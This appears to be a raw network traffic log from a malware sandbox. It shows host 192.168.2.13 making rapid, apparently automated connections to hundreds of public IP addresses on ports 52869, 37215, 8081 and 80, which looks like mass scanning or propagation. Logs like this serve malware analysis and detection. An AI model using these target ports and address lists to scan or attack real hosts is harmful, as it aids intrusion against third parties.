Jul 20, 2024 23:05:44.818089962 CEST	52869	43695	150.155.228.185	192.168.2.13
Jul 20, 2024 23:05:44.818094015 CEST	52869	43695	185.177.233.236	192.168.2.13
Jul 20, 2024 23:05:44.818176031 CEST	52869	43695	204.73.153.169	192.168.2.13
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	165.8.233.31
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	66.25.107.242
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	195.35.84.140
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	79.98.75.118
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	66.148.71.193
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	112.53.172.4
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	185.29.50.205
Jul 20, 2024 23:05:44.818470001 CEST	43695	52869	192.168.2.13	117.209.196.227
Jul 20, 2024 23:05:44.818665981 CEST	52869	43695	222.164.84.61	192.168.2.13
Jul 20, 2024 23:05:44.818670988 CEST	52869	43695	54.177.126.228	192.168.2.13
Jul 20, 2024 23:05:44.818679094 CEST	52869	43695	108.245.220.71	192.168.2.13
Jul 20, 2024 23:05:44.818851948 CEST	52869	43695	8.80.8.183	192.168.2.13
Jul 20, 2024 23:05:44.819051027 CEST	52869	43695	31.108.53.46	192.168.2.13
Jul 20, 2024 23:05:44.819528103 CEST	52869	43695	138.236.222.12	192.168.2.13
Jul 20, 2024 23:05:44.819531918 CEST	52869	43695	185.28.61.142	192.168.2.13
Jul 20, 2024 23:05:44.819817066 CEST	52869	43695	187.169.33.85	192.168.2.13
Jul 20, 2024 23:05:44.820118904 CEST	43695	52869	192.168.2.13	220.42.136.230
Jul 20, 2024 23:05:44.820120096 CEST	43695	52869	192.168.2.13	133.47.8.223
Jul 20, 2024 23:05:44.820120096 CEST	43695	52869	192.168.2.13	5.80.27.233
Jul 20, 2024 23:05:44.820120096 CEST	43695	52869	192.168.2.13	192.28.69.196
Jul 20, 2024 23:05:44.820120096 CEST	43695	52869	192.168.2.13	166.0.176.115
Jul 20, 2024 23:05:44.820120096 CEST	43695	52869	192.168.2.13	57.56.239.9
Jul 20, 2024 23:05:44.820120096 CEST	43695	52869	192.168.2.13	208.132.58.12
Jul 20, 2024 23:05:44.820120096 CEST	43695	52869	192.168.2.13	185.94.34.64
Jul 20, 2024 23:05:44.820233107 CEST	52869	43695	200.151.212.227	192.168.2.13
Jul 20, 2024 23:05:44.820236921 CEST	52869	43695	221.162.28.9	192.168.2.13
Jul 20, 2024 23:05:44.820512056 CEST	52869	43695	150.211.139.252	192.168.2.13
Jul 20, 2024 23:05:44.821736097 CEST	52869	43695	187.150.102.98	192.168.2.13
Jul 20, 2024 23:05:44.821739912 CEST	52869	43695	198.182.204.144	192.168.2.13
Jul 20, 2024 23:05:44.821754932 CEST	52869	43695	67.42.38.190	192.168.2.13
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	80.98.23.236
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	39.177.34.23
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	113.182.61.31
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	36.167.45.7
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	41.227.8.112
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	210.232.116.253
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	186.196.162.178
Jul 20, 2024 23:05:44.821775913 CEST	43695	52869	192.168.2.13	125.168.252.137
Jul 20, 2024 23:05:44.821825981 CEST	52869	43695	150.95.209.221	192.168.2.13
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	51.42.224.87
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	125.22.157.156
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	81.140.125.56
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	71.131.96.107
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	103.18.224.87
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	86.47.232.134
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	139.31.203.166
Jul 20, 2024 23:05:44.821926117 CEST	43695	52869	192.168.2.13	124.27.144.199
Jul 20, 2024 23:05:44.822103977 CEST	52869	43695	186.218.138.5	192.168.2.13
Jul 20, 2024 23:05:44.822108984 CEST	52869	43695	200.213.216.86	192.168.2.13
Jul 20, 2024 23:05:44.822117090 CEST	52869	43695	120.195.96.99	192.168.2.13
Jul 20, 2024 23:05:44.822132111 CEST	52869	43695	27.52.79.120	192.168.2.13
Jul 20, 2024 23:05:44.822290897 CEST	52869	43695	17.255.194.179	192.168.2.13
Jul 20, 2024 23:05:44.823967934 CEST	52869	43695	188.138.217.87	192.168.2.13
Jul 20, 2024 23:05:44.823976994 CEST	52869	43695	14.206.175.181	192.168.2.13
Jul 20, 2024 23:05:44.823980093 CEST	52869	43695	154.217.210.224	192.168.2.13
Jul 20, 2024 23:05:44.824095011 CEST	52869	43695	23.185.123.183	192.168.2.13
Jul 20, 2024 23:05:44.824099064 CEST	52869	43695	218.1.187.225	192.168.2.13
Jul 20, 2024 23:05:44.824107885 CEST	52869	43695	97.55.202.224	192.168.2.13
Jul 20, 2024 23:05:44.824120045 CEST	52869	43695	80.69.134.131	192.168.2.13
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	84.122.19.44
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	148.241.146.89
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	71.89.34.110
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	47.24.223.169
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	149.4.101.218
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	110.231.234.212
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	185.148.162.184
Jul 20, 2024 23:05:44.824295998 CEST	43695	52869	192.168.2.13	57.70.228.68
Jul 20, 2024 23:05:44.824404955 CEST	52869	43695	165.8.233.31	192.168.2.13
Jul 20, 2024 23:05:44.824434996 CEST	52869	43695	66.25.107.242	192.168.2.13
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	18.124.189.188
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	201.69.144.135
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	83.245.146.137
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	20.42.151.178
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	74.148.29.27
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	108.24.61.86
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	207.201.173.191
Jul 20, 2024 23:05:44.824444056 CEST	43695	52869	192.168.2.13	86.245.135.20
Jul 20, 2024 23:05:44.824659109 CEST	52869	43695	157.20.48.16	192.168.2.13
Jul 20, 2024 23:05:44.825649977 CEST	43695	52869	192.168.2.13	186.106.216.253
Jul 20, 2024 23:05:44.825649977 CEST	43695	52869	192.168.2.13	140.175.193.12
Jul 20, 2024 23:05:44.825649977 CEST	43695	52869	192.168.2.13	118.147.111.48
Jul 20, 2024 23:05:44.825650930 CEST	43695	52869	192.168.2.13	200.114.34.94
Jul 20, 2024 23:05:44.825650930 CEST	43695	52869	192.168.2.13	47.54.88.113
Jul 20, 2024 23:05:44.825650930 CEST	43695	52869	192.168.2.13	91.22.64.44
Jul 20, 2024 23:05:44.825650930 CEST	43695	52869	192.168.2.13	188.54.88.136
Jul 20, 2024 23:05:44.825650930 CEST	43695	52869	192.168.2.13	45.204.138.114
Jul 20, 2024 23:05:44.825710058 CEST	52869	43695	142.159.1.169	192.168.2.13
Jul 20, 2024 23:05:44.825715065 CEST	52869	43695	195.35.84.140	192.168.2.13
Jul 20, 2024 23:05:44.825782061 CEST	52869	43695	79.98.75.118	192.168.2.13
Jul 20, 2024 23:05:44.825968981 CEST	52869	43695	66.148.71.193	192.168.2.13
Jul 20, 2024 23:05:44.825978041 CEST	52869	43695	9.78.192.32	192.168.2.13
Jul 20, 2024 23:05:44.825980902 CEST	52869	43695	112.53.172.4	192.168.2.13
Jul 20, 2024 23:05:44.826116085 CEST	52869	43695	185.29.50.205	192.168.2.13
Jul 20, 2024 23:05:44.827312946 CEST	43695	52869	192.168.2.13	118.97.214.162
Jul 20, 2024 23:05:44.827312946 CEST	43695	52869	192.168.2.13	64.8.133.180
Jul 20, 2024 23:05:44.827312946 CEST	43695	52869	192.168.2.13	70.141.200.116
Jul 20, 2024 23:05:44.827312946 CEST	43695	52869	192.168.2.13	51.214.27.255
Jul 20, 2024 23:05:44.827312946 CEST	43695	52869	192.168.2.13	134.56.1.32
Jul 20, 2024 23:05:44.827312946 CEST	43695	52869	192.168.2.13	197.245.176.76
Jul 20, 2024 23:05:44.827313900 CEST	43695	52869	192.168.2.13	52.179.3.204
Jul 20, 2024 23:05:44.827313900 CEST	43695	52869	192.168.2.13	95.175.60.218
Jul 20, 2024 23:05:44.828680038 CEST	43695	52869	192.168.2.13	31.62.105.253
Jul 20, 2024 23:05:44.828680038 CEST	43695	52869	192.168.2.13	210.195.27.251
Jul 20, 2024 23:05:44.828680038 CEST	43695	52869	192.168.2.13	164.17.192.126
Jul 20, 2024 23:05:44.828680038 CEST	43695	52869	192.168.2.13	164.4.144.37
Jul 20, 2024 23:05:44.828680038 CEST	43695	52869	192.168.2.13	200.7.234.208
Jul 20, 2024 23:05:44.828680992 CEST	43695	52869	192.168.2.13	170.73.244.149
Jul 20, 2024 23:05:44.828680992 CEST	43695	52869	192.168.2.13	113.231.165.163
Jul 20, 2024 23:05:44.828680992 CEST	43695	52869	192.168.2.13	9.139.56.147
Jul 20, 2024 23:05:44.829155922 CEST	43695	52869	192.168.2.13	86.47.8.220
Jul 20, 2024 23:05:44.829157114 CEST	43695	52869	192.168.2.13	102.219.218.214
Jul 20, 2024 23:05:44.829157114 CEST	43695	52869	192.168.2.13	144.194.214.41
Jul 20, 2024 23:05:44.829157114 CEST	43695	52869	192.168.2.13	207.131.90.91
Jul 20, 2024 23:05:44.829157114 CEST	43695	52869	192.168.2.13	117.20.120.196
Jul 20, 2024 23:05:44.829157114 CEST	43695	52869	192.168.2.13	219.97.180.45
Jul 20, 2024 23:05:44.829157114 CEST	43695	52869	192.168.2.13	138.201.104.133
Jul 20, 2024 23:05:44.829157114 CEST	43695	52869	192.168.2.13	72.135.115.194
Jul 20, 2024 23:05:44.829647064 CEST	52869	43695	120.39.70.249	192.168.2.13
Jul 20, 2024 23:05:44.829648018 CEST	52869	43695	117.209.196.227	192.168.2.13
Jul 20, 2024 23:05:44.829649925 CEST	52869	43695	155.20.152.176	192.168.2.13
Jul 20, 2024 23:05:44.829652071 CEST	52869	43695	51.42.224.87	192.168.2.13
Jul 20, 2024 23:05:44.829655886 CEST	52869	43695	80.98.23.236	192.168.2.13
Jul 20, 2024 23:05:44.829657078 CEST	52869	43695	125.22.157.156	192.168.2.13
Jul 20, 2024 23:05:44.829658031 CEST	52869	43695	39.177.34.23	192.168.2.13
Jul 20, 2024 23:05:44.829658985 CEST	52869	43695	81.140.125.56	192.168.2.13
Jul 20, 2024 23:05:44.829659939 CEST	52869	43695	113.182.61.31	192.168.2.13
Jul 20, 2024 23:05:44.829660892 CEST	52869	43695	71.131.96.107	192.168.2.13
Jul 20, 2024 23:05:44.829662085 CEST	52869	43695	36.167.45.7	192.168.2.13
Jul 20, 2024 23:05:44.829663038 CEST	52869	43695	41.227.8.112	192.168.2.13
Jul 20, 2024 23:05:44.829663992 CEST	52869	43695	210.232.116.253	192.168.2.13
Jul 20, 2024 23:05:44.829664946 CEST	52869	43695	103.18.224.87	192.168.2.13
Jul 20, 2024 23:05:44.829664946 CEST	52869	43695	186.196.162.178	192.168.2.13
Jul 20, 2024 23:05:44.829674006 CEST	52869	43695	125.168.252.137	192.168.2.13
Jul 20, 2024 23:05:44.829993010 CEST	52869	43695	18.124.189.188	192.168.2.13
Jul 20, 2024 23:05:44.830502033 CEST	43695	52869	192.168.2.13	79.9.30.109
Jul 20, 2024 23:05:44.830502033 CEST	43695	52869	192.168.2.13	13.127.152.20
Jul 20, 2024 23:05:44.830502033 CEST	43695	52869	192.168.2.13	116.11.232.23
Jul 20, 2024 23:05:44.830502033 CEST	43695	52869	192.168.2.13	173.140.75.78
Jul 20, 2024 23:05:44.830502033 CEST	43695	52869	192.168.2.13	19.191.55.27
Jul 20, 2024 23:05:44.830502033 CEST	43695	52869	192.168.2.13	165.27.10.231
Jul 20, 2024 23:05:44.830502033 CEST	43695	52869	192.168.2.13	140.58.126.223
Jul 20, 2024 23:05:44.830502987 CEST	43695	52869	192.168.2.13	46.225.94.191
Jul 20, 2024 23:05:44.831010103 CEST	52869	43695	86.47.232.134	192.168.2.13
Jul 20, 2024 23:05:44.831013918 CEST	52869	43695	139.31.203.166	192.168.2.13
Jul 20, 2024 23:05:44.831204891 CEST	52869	43695	124.27.144.199	192.168.2.13
Jul 20, 2024 23:05:44.831271887 CEST	52869	43695	201.69.144.135	192.168.2.13
Jul 20, 2024 23:05:44.831377983 CEST	52869	43695	186.106.216.253	192.168.2.13
Jul 20, 2024 23:05:44.831389904 CEST	52869	43695	83.245.146.137	192.168.2.13
Jul 20, 2024 23:05:44.831393957 CEST	52869	43695	140.175.193.12	192.168.2.13
Jul 20, 2024 23:05:44.831748009 CEST	52869	43695	20.42.151.178	192.168.2.13
Jul 20, 2024 23:05:44.831932068 CEST	52869	43695	118.147.111.48	192.168.2.13
Jul 20, 2024 23:05:44.832125902 CEST	52869	43695	74.148.29.27	192.168.2.13
Jul 20, 2024 23:05:44.832336903 CEST	59026	80	192.168.2.13	95.27.149.121
Jul 20, 2024 23:05:44.832751989 CEST	52869	43695	108.24.61.86	192.168.2.13
Jul 20, 2024 23:05:44.832765102 CEST	52869	43695	200.114.34.94	192.168.2.13
Jul 20, 2024 23:05:44.832768917 CEST	52869	43695	207.201.173.191	192.168.2.13
Jul 20, 2024 23:05:44.832850933 CEST	43695	52869	192.168.2.13	65.241.200.234
Jul 20, 2024 23:05:44.832850933 CEST	43695	52869	192.168.2.13	92.244.31.38
Jul 20, 2024 23:05:44.832850933 CEST	43695	52869	192.168.2.13	138.42.234.53
Jul 20, 2024 23:05:44.832850933 CEST	43695	52869	192.168.2.13	199.152.144.69
Jul 20, 2024 23:05:44.832850933 CEST	43695	52869	192.168.2.13	133.2.73.196
Jul 20, 2024 23:05:44.832851887 CEST	43695	52869	192.168.2.13	159.27.228.86
Jul 20, 2024 23:05:44.832851887 CEST	43695	52869	192.168.2.13	194.129.103.193
Jul 20, 2024 23:05:44.832851887 CEST	43695	52869	192.168.2.13	139.69.28.169
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	154.87.245.26
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	63.76.24.95
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	133.144.12.43
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	111.120.240.190
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	118.176.16.83
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	182.141.240.250
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	64.12.132.181
Jul 20, 2024 23:05:44.833000898 CEST	43695	52869	192.168.2.13	68.154.119.126
Jul 20, 2024 23:05:44.833146095 CEST	52869	43695	47.54.88.113	192.168.2.13
Jul 20, 2024 23:05:44.833345890 CEST	52869	43695	91.22.64.44	192.168.2.13
Jul 20, 2024 23:05:44.833596945 CEST	52869	43695	188.54.88.136	192.168.2.13
Jul 20, 2024 23:05:44.833616972 CEST	36696	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:44.833884001 CEST	52869	43695	86.245.135.20	192.168.2.13
Jul 20, 2024 23:05:44.834009886 CEST	52869	43695	45.204.138.114	192.168.2.13
Jul 20, 2024 23:05:44.834060907 CEST	43695	52869	192.168.2.13	173.134.199.239
Jul 20, 2024 23:05:44.834060907 CEST	43695	52869	192.168.2.13	181.5.171.125
Jul 20, 2024 23:05:44.834060907 CEST	43695	52869	192.168.2.13	78.54.125.98
Jul 20, 2024 23:05:44.834062099 CEST	43695	52869	192.168.2.13	200.245.226.155
Jul 20, 2024 23:05:44.834062099 CEST	43695	52869	192.168.2.13	41.153.39.208
Jul 20, 2024 23:05:44.834062099 CEST	43695	52869	192.168.2.13	50.45.192.30
Jul 20, 2024 23:05:44.834062099 CEST	43695	52869	192.168.2.13	115.211.29.136
Jul 20, 2024 23:05:44.834062099 CEST	43695	52869	192.168.2.13	111.235.180.30
Jul 20, 2024 23:05:44.834177017 CEST	52869	43695	31.62.105.253	192.168.2.13
Jul 20, 2024 23:05:44.835033894 CEST	52869	43695	86.47.8.220	192.168.2.13
Jul 20, 2024 23:05:44.835266113 CEST	52869	43695	102.219.218.214	192.168.2.13
Jul 20, 2024 23:05:44.835278988 CEST	52869	43695	144.194.214.41	192.168.2.13
Jul 20, 2024 23:05:44.835509062 CEST	43695	52869	192.168.2.13	124.227.164.144
Jul 20, 2024 23:05:44.835567951 CEST	52869	43695	207.131.90.91	192.168.2.13
Jul 20, 2024 23:05:44.835671902 CEST	52869	43695	210.195.27.251	192.168.2.13
Jul 20, 2024 23:05:44.835787058 CEST	52869	43695	164.17.192.126	192.168.2.13
Jul 20, 2024 23:05:44.836251974 CEST	52869	43695	117.20.120.196	192.168.2.13
Jul 20, 2024 23:05:44.836657047 CEST	52869	43695	164.4.144.37	192.168.2.13
Jul 20, 2024 23:05:44.836850882 CEST	52869	43695	200.7.234.208	192.168.2.13
Jul 20, 2024 23:05:44.836854935 CEST	52869	43695	219.97.180.45	192.168.2.13
Jul 20, 2024 23:05:44.836895943 CEST	45536	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:44.836895943 CEST	58310	80	192.168.2.13	95.111.165.44
Jul 20, 2024 23:05:44.837148905 CEST	52869	43695	138.201.104.133	192.168.2.13
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	202.126.103.160
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	185.15.143.135
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	147.49.98.20
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	5.11.90.177
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	143.103.67.33
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	115.231.71.8
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	53.190.237.195
Jul 20, 2024 23:05:44.837194920 CEST	43695	52869	192.168.2.13	160.27.139.144
Jul 20, 2024 23:05:44.837470055 CEST	52869	43695	170.73.244.149	192.168.2.13
Jul 20, 2024 23:05:44.837641001 CEST	43695	52869	192.168.2.13	174.231.103.163
Jul 20, 2024 23:05:44.837641001 CEST	43695	52869	192.168.2.13	57.15.174.52
Jul 20, 2024 23:05:44.837641001 CEST	43695	52869	192.168.2.13	213.63.189.211
Jul 20, 2024 23:05:44.837641001 CEST	43695	52869	192.168.2.13	25.188.248.37
Jul 20, 2024 23:05:44.837641001 CEST	43695	52869	192.168.2.13	43.3.142.193
Jul 20, 2024 23:05:44.837641954 CEST	43695	52869	192.168.2.13	58.211.234.189
Jul 20, 2024 23:05:44.837641954 CEST	43695	52869	192.168.2.13	132.191.161.103
Jul 20, 2024 23:05:44.837641954 CEST	43695	52869	192.168.2.13	90.176.182.175
Jul 20, 2024 23:05:44.837723970 CEST	52869	43695	113.231.165.163	192.168.2.13
Jul 20, 2024 23:05:44.838028908 CEST	52869	43695	72.135.115.194	192.168.2.13
Jul 20, 2024 23:05:44.838397980 CEST	52869	43695	9.139.56.147	192.168.2.13
Jul 20, 2024 23:05:44.838402033 CEST	52869	43695	65.241.200.234	192.168.2.13
Jul 20, 2024 23:05:44.838699102 CEST	52869	43695	92.244.31.38	192.168.2.13
Jul 20, 2024 23:05:44.838845015 CEST	52869	43695	138.42.234.53	192.168.2.13
Jul 20, 2024 23:05:44.838849068 CEST	52869	43695	154.87.245.26	192.168.2.13
Jul 20, 2024 23:05:44.839477062 CEST	52869	43695	199.152.144.69	192.168.2.13
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	207.78.68.47
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	205.56.139.172
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	169.62.241.60
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	177.172.242.108
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	218.168.241.182
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	38.224.234.248
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	128.185.217.88
Jul 20, 2024 23:05:44.839708090 CEST	43695	52869	192.168.2.13	36.170.162.58
Jul 20, 2024 23:05:44.839910984 CEST	60994	8081	192.168.2.13	223.10.101.195
Jul 20, 2024 23:05:44.840051889 CEST	52869	43695	133.2.73.196	192.168.2.13
Jul 20, 2024 23:05:44.840162039 CEST	43695	52869	192.168.2.13	154.157.195.21
Jul 20, 2024 23:05:44.840162039 CEST	43695	52869	192.168.2.13	108.38.121.208
Jul 20, 2024 23:05:44.840162039 CEST	43695	52869	192.168.2.13	129.44.7.97
Jul 20, 2024 23:05:44.840899944 CEST	52869	43695	63.76.24.95	192.168.2.13
Jul 20, 2024 23:05:44.840903997 CEST	52869	43695	159.27.228.86	192.168.2.13
Jul 20, 2024 23:05:44.840913057 CEST	52869	43695	194.129.103.193	192.168.2.13
Jul 20, 2024 23:05:44.841816902 CEST	43695	52869	192.168.2.13	25.240.115.218
Jul 20, 2024 23:05:44.841818094 CEST	43695	52869	192.168.2.13	18.20.68.195
Jul 20, 2024 23:05:44.842154026 CEST	48504	8081	192.168.2.13	171.210.244.37
Jul 20, 2024 23:05:44.849219084 CEST	52869	43695	139.69.28.169	192.168.2.13
Jul 20, 2024 23:05:44.849225044 CEST	52869	43695	133.144.12.43	192.168.2.13
Jul 20, 2024 23:05:44.849351883 CEST	52869	43695	124.227.164.144	192.168.2.13
Jul 20, 2024 23:05:44.849355936 CEST	52869	43695	111.120.240.190	192.168.2.13
Jul 20, 2024 23:05:44.849365950 CEST	52869	43695	118.176.16.83	192.168.2.13
Jul 20, 2024 23:05:44.849529982 CEST	52869	43695	182.141.240.250	192.168.2.13
Jul 20, 2024 23:05:44.850142956 CEST	52869	43695	64.12.132.181	192.168.2.13
Jul 20, 2024 23:05:44.850147009 CEST	52869	43695	68.154.119.126	192.168.2.13
Jul 20, 2024 23:05:44.850157022 CEST	52869	43695	174.231.103.163	192.168.2.13
Jul 20, 2024 23:05:44.850271940 CEST	52869	43695	57.15.174.52	192.168.2.13
Jul 20, 2024 23:05:44.850275993 CEST	52869	43695	213.63.189.211	192.168.2.13
Jul 20, 2024 23:05:44.850290060 CEST	52869	43695	25.188.248.37	192.168.2.13
Jul 20, 2024 23:05:44.850302935 CEST	52869	43695	43.3.142.193	192.168.2.13
Jul 20, 2024 23:05:44.850311041 CEST	52869	43695	58.211.234.189	192.168.2.13
Jul 20, 2024 23:05:44.850316048 CEST	52869	43695	132.191.161.103	192.168.2.13
Jul 20, 2024 23:05:44.850733042 CEST	43695	52869	192.168.2.13	178.111.137.184
Jul 20, 2024 23:05:44.850733042 CEST	43695	52869	192.168.2.13	82.67.99.149
Jul 20, 2024 23:05:44.850733042 CEST	43695	52869	192.168.2.13	111.66.113.195
Jul 20, 2024 23:05:44.850733042 CEST	43695	52869	192.168.2.13	41.108.184.86
Jul 20, 2024 23:05:44.850733042 CEST	43695	52869	192.168.2.13	140.10.216.96
Jul 20, 2024 23:05:44.850773096 CEST	52869	43695	90.176.182.175	192.168.2.13
Jul 20, 2024 23:05:44.850781918 CEST	52869	43695	154.157.195.21	192.168.2.13
Jul 20, 2024 23:05:44.850795031 CEST	52869	43695	108.38.121.208	192.168.2.13
Jul 20, 2024 23:05:44.850807905 CEST	52869	43695	129.44.7.97	192.168.2.13
Jul 20, 2024 23:05:44.851131916 CEST	8081	48504	171.210.244.37	192.168.2.13
Jul 20, 2024 23:05:44.851174116 CEST	48504	8081	192.168.2.13	171.210.244.37
Jul 20, 2024 23:05:44.857160091 CEST	43695	52869	192.168.2.13	64.236.183.34
Jul 20, 2024 23:05:44.857160091 CEST	43695	52869	192.168.2.13	182.196.237.27
Jul 20, 2024 23:05:44.857160091 CEST	43695	52869	192.168.2.13	123.28.3.221
Jul 20, 2024 23:05:44.860477924 CEST	8081	45536	115.217.160.85	192.168.2.13
Jul 20, 2024 23:05:44.860569000 CEST	43695	52869	192.168.2.13	105.140.191.44
Jul 20, 2024 23:05:44.860569000 CEST	43695	52869	192.168.2.13	164.241.31.41
Jul 20, 2024 23:05:44.860569000 CEST	43695	52869	192.168.2.13	171.91.232.190
Jul 20, 2024 23:05:44.861526012 CEST	43695	52869	192.168.2.13	203.79.125.158
Jul 20, 2024 23:05:44.861789942 CEST	49232	80	192.168.2.13	95.36.83.126
Jul 20, 2024 23:05:44.864531040 CEST	45536	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:44.864531040 CEST	44719	37215	192.168.2.13	41.73.62.1
Jul 20, 2024 23:05:44.869993925 CEST	44719	37215	192.168.2.13	41.216.134.212
Jul 20, 2024 23:05:44.869993925 CEST	44719	37215	192.168.2.13	157.215.150.88
Jul 20, 2024 23:05:44.869993925 CEST	44719	37215	192.168.2.13	197.94.189.124
Jul 20, 2024 23:05:44.869993925 CEST	44719	37215	192.168.2.13	157.240.89.2
Jul 20, 2024 23:05:44.869993925 CEST	44719	37215	192.168.2.13	197.33.5.178
Jul 20, 2024 23:05:44.869993925 CEST	44719	37215	192.168.2.13	157.182.76.132
Jul 20, 2024 23:05:44.870588064 CEST	44719	37215	192.168.2.13	116.217.31.63
Jul 20, 2024 23:05:44.870588064 CEST	44719	37215	192.168.2.13	41.66.236.89
Jul 20, 2024 23:05:44.870589018 CEST	44719	37215	192.168.2.13	157.68.135.23
Jul 20, 2024 23:05:44.870589018 CEST	44719	37215	192.168.2.13	197.168.81.51
Jul 20, 2024 23:05:44.870589018 CEST	44719	37215	192.168.2.13	157.31.10.251
Jul 20, 2024 23:05:44.870589018 CEST	44719	37215	192.168.2.13	96.61.66.185
Jul 20, 2024 23:05:44.870589018 CEST	44719	37215	192.168.2.13	58.76.101.8
Jul 20, 2024 23:05:44.870589018 CEST	44719	37215	192.168.2.13	157.3.128.200
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	157.103.202.62
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	41.7.142.147
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	41.32.96.146
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	197.110.0.100
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	157.63.239.85
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	157.55.19.247
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	157.22.175.168
Jul 20, 2024 23:05:44.871141911 CEST	44719	37215	192.168.2.13	9.154.18.165
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	157.19.223.117
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	197.189.15.17
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	122.33.173.16
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	41.176.192.232
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	137.140.106.103
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	157.96.116.35
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	41.248.77.113
Jul 20, 2024 23:05:44.871788025 CEST	44719	37215	192.168.2.13	197.218.171.42
Jul 20, 2024 23:05:44.872231007 CEST	58496	80	192.168.2.13	95.172.181.119
Jul 20, 2024 23:05:44.872231007 CEST	44719	37215	192.168.2.13	197.176.126.210
Jul 20, 2024 23:05:44.872534037 CEST	44719	37215	192.168.2.13	41.143.84.178
Jul 20, 2024 23:05:44.872534037 CEST	44719	37215	192.168.2.13	157.27.76.92
Jul 20, 2024 23:05:44.872534037 CEST	43695	52869	192.168.2.13	50.201.147.187
Jul 20, 2024 23:05:44.872534037 CEST	43695	52869	192.168.2.13	53.192.11.80
Jul 20, 2024 23:05:44.872534037 CEST	43695	52869	192.168.2.13	85.203.84.114
Jul 20, 2024 23:05:44.875129938 CEST	37062	37215	192.168.2.13	197.17.54.113
Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	157.1.73.255
Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	66.202.119.180
Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	157.213.215.116
